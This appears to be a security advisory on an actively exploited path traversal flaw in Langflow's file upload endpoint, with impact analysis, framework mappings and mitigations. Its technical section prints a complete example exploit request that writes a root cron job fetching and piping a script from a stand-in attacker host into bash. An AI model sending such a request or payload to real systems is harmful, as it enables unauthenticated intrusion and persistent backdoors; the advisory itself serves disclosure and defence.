Overview
A high-severity, unpatched path traversal vulnerability tracked as CVE-2026-5027 (CVSS 8.8) in Langflow — a popular open-source, low-code platform for building AI and LLM-powered applications — is being actively exploited in the wild. Discovered by Tenable and confirmed in exploitation by VulnCheck, the flaw enables unauthenticated remote code execution (RCE) on affected systems. With no patch available as of publication and roughly 7,000 Langflow instances publicly exposed on the internet, the threat surface is significant.
Technical Analysis
The vulnerability resides in the POST /api/v2/files endpoint, which fails to sanitise the filename parameter in multipart form data. An attacker can supply path traversal sequences (../) to write arbitrary files to any location on the underlying filesystem. Because Langflow enables unauthenticated auto-login by default, no credentials are required to reach the endpoint. Exploitation requires only a single unauthenticated HTTP request to obtain a valid session token, after which arbitrary files — including web shells or malicious configuration files — can be written to the server.
POST /api/v2/files HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----ExploitBoundary
------ExploitBoundary
Content-Disposition: form-data; name="file"; filename="../../etc/cron.d/backdoor"
* * * * * root curl http://attacker.com/shell.sh | bash
------ExploitBoundary--
Tenable attempted to contact project maintainers three times between January and February 2026 before publicly disclosing the flaw on March 27, 2026. Active exploitation was subsequently confirmed by VulnCheck, with current observed activity focused on writing test files — likely reconnaissance prior to more destructive payloads.
Framework Mapping
- AML.T0047 (ML-Enabled Product or Service): Langflow is a direct enabler for building and deploying AI agents; compromising it gives adversaries access to the AI pipelines built within it.
- AML.T0010 (ML Supply Chain Compromise): Attackers targeting AI development tooling can poison, backdoor, or exfiltrate models and data processed through Langflow workflows.
- LLM05 (Supply Chain Vulnerabilities): The flaw exemplifies risk in the tooling layer of the LLM supply chain — infrastructure used to build AI applications rather than the models themselves.
- LLM07 (Insecure Plugin Design): The unauthenticated auto-login default represents an insecure-by-default design pattern directly analogous to insecure plugin/component design.
Impact Assessment
Approximately 7,000 publicly accessible Langflow instances exist, predominantly in North America. Successful exploitation provides full RCE, meaning attackers can exfiltrate sensitive data (API keys, model weights, training data), backdoor AI pipelines, or pivot into wider enterprise networks. The threat is compounded by prior Langflow CVEs being weaponised by the Iranian state-sponsored group MuddyWater, establishing that sophisticated threat actors are actively targeting this attack surface. Organisations using Langflow to build production AI agents or process sensitive data face the highest residual risk.
Mitigation & Recommendations
- Remove public exposure immediately: Place all Langflow instances behind a VPN, zero-trust gateway, or firewall. Do not expose the web UI to the public internet.
- Disable auto-login: Set
LANGFLOW_AUTO_LOGIN=falsein your environment configuration to require authentication before any endpoint access. - Monitor for exploitation indicators: Review server logs for anomalous
POST /api/v2/filesrequests containing../sequences. Check for unexpected new files on the filesystem. - Isolate Langflow environments: Ensure Langflow does not have privileged access to production model stores, databases, or cloud credentials.
- Track upstream patch status: Monitor the Langflow GitHub repository and CVE advisories closely; apply any patch immediately upon release.